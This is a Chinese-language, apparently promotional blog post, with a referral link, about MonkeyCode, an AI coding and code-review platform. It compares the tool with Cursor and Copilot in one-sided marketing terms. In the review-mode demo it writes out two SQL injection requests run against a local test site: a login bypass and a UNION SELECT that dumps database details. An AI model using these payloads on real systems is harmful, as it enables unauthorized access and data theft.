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一款“免费”可以进行“代码审计”和“安全开发”的AI

  • 2026-09-16 11:56:31
一款“免费”可以进行“代码审计”和“安全开发”的AI
摘要
       全球软件工程领域正经历一场由大型语言模型(LLMs)驱动的构造性变革,这一转型通常被称为“AI增强工程”(AI-Augmented Engineering)。它承诺为开发者带来前所未有的生产力提升、代码质量优化以及创新速度的加快。然而,随着这些工具的采用率激增,消费级编程助手与企业级研发(R&D)的严格要求之间出现了严重的脱节。本报告旨在对长亭科技(Chaitin Tech)开发的智能开发平台 MonkeyCode 进行详尽的分析,并将其置于这一行业转型的宏观背景中。
       不同于主要关注代码生成的通用编程助手,MonkeyCode 代表了“AI 安全编码”(AI Secure Coding)这一独特品类。它旨在解决现代企业软件开发的“不可能三角”:在效率(交付速度)、安全(漏洞缓解)和主权(数据隐私与控制)之间取得平衡。通过集成 DeepSeek V3、Qwen-Coder 和 Kimi 等先进 LLM,并结合其自研的安全扫描引擎,MonkeyCode 试图将安全性“左移”至代码创作的最源头。
       这篇文章基于广泛的市场数据、技术规格说明及比较分析,评估 MonkeyCode 的架构、功能集及其相对于 Cursor 和 GitHub Copilot 等现有产品的战略定位。分析表明MonkeyCode 不仅仅是针对中国市场的“本地替代品”,更是一种安全、受控且具备代理能力的研发工作流的先锋实现,它重新定义了人类开发者与机器智能之间的关系。

什么是MonkeyCode?

1.MonkeyCode 是由长亭科技推出的企业级 AI 开发平台,致力于为开发者提供更专业、更可靠、更可扩展的 AI Coding 体验。

2.MonkeyCode 不只是一个 AI 编程工具,而是一个面向专业团队的 AI 研发基础设施,它覆盖了 需求 → 设计 → 开发 → Review 全流程,提供了安全、隔离、可并行的开发环境。


目前市面上现状:现在的程序员都在用 AI,不用就像骑马追高铁。大家都在谈论 Cursor,那个“Tab 一下代码全写好”的感觉太爽了,但是!Cursor 经常连不上(网络问题),而且作为公司技术负责人,你敢把公司核心代码传到美国服务器吗?难道我们就没有一个既聪明(模型强)、又听话(私有化)、还安全(自带扫描)的国产替代吗?

隆重介绍 MonkeyCode —— 长亭科技出品,自带黑客基因的 AI 编程助手。

官网地址:https://monkeycode-ai.com/

注册地址:https://monkeycode-ai.com/?ic=019c094c-0cc7-7cda-8aac-f7411a97355f

monkeycode与市场ai对比分析:

维度MonkeyCodeCursorGitHub Copilot分析与洞察
核心定位企业级安全研发平台个人极客的 AI 编辑器通用 AI 编程助手Cursor 强在 C 端体验,Copilot 强在生态,MonkeyCode 强在 B 端管控与安全。
服务可用性完全可用(针对国内优化)受限/不稳定(存在封禁风险)可用(但依赖微软服务器)对于国内企业,Cursor 的不确定性是最大的隐没成本(Sunk Cost)。
数据隐私私有化/本地部署(物理隔离)云端为主(隐私模式仍需联网)云端(企业版有部分保障)MonkeyCode 是唯一真正实现“物理隔绝”的主流方案。
模型支持灵活切换(DeepSeek, Qwen, Kimi)绑定 Claude/GPT-4绑定 GPT 系列MonkeyCode 允许利用国产模型的高性价比优势,规避 OpenAI 的限流。
安全能力内建长亭扫描引擎(SAST)依赖外部插件依赖 GitHub Advanced SecurityMonkeyCode 将安全能力作为“出厂设置”,而非“选装包”。
成本结构开源/免费版 + 企业定制订阅制 ($20/月)订阅制 ($10-$19/月)开源核心大大降低了尝试门槛,适合预算敏感型团队。
管理功能细粒度审计、资源配额Team 版功能较基础企业版功能强大MonkeyCode 的管理面板专为中国式管理需求(审计、合规)设计。
monkeycode的三种模式:
1.开发模式:根据需求执行开发编程任务
2.设计模式:进行架构设计,输出技术方案与设计文档
3.审查模式:审查代码,识别分享,提成改进建议

例子:

  • 开发模式:如帮我写一个登录页面。

  • 点击执行,会有两种大模型选择(一个免费,一个消耗token),可以根据自己的实际情况进行选择,然后继续下一步就行()。
    成功执行后,如果代码量足够大monkeycode是会自己检测一遍有没有可能存在哪些漏洞或者风险
  • 设计模式:如“设计一个支持高并发的短链接生成系统,给出架构图与核心模块说明”。

    输出后,发现生成了一份非常非常详细的设计方案。
  • 审查模式:如“审查这段代码有哪些风险或者漏洞”。

    过程:省略

    我们本地搭建一个环境,进行验证:

    poc:

    POST/login.phpHTTP/1.1

    Host: 192.168.1.16:5533

    Content-Type: application/x-www-form-urlencoded

    email=' OR '1'='1' -- -&password=dummy&login=Login

    我们回到浏览器显示直接登录到了后台:

  我们继续验证第二个:

poc:

GET /crm/admin/quote-details.php?id=1'%20UNION%20SELECT%201,2,3,4,5,6,7,8,version(),database(),user(),12,13,14,15,16,17,18,19,20,21,22,23%20--%20- HTTP/1.1
Host: victim
Cookie: PHPSESSID=...

验证截图:

等等,后面的poc就不继续测试了。

咱今天的分享就到这了,此次是纯使用思路分享,请勿对其他企业进行渗透测试,最后分享一下注册地址:

注册地址:https://monkeycode-ai.com/?ic=019c094c-0cc7-7cda-8aac-f7411a97355f

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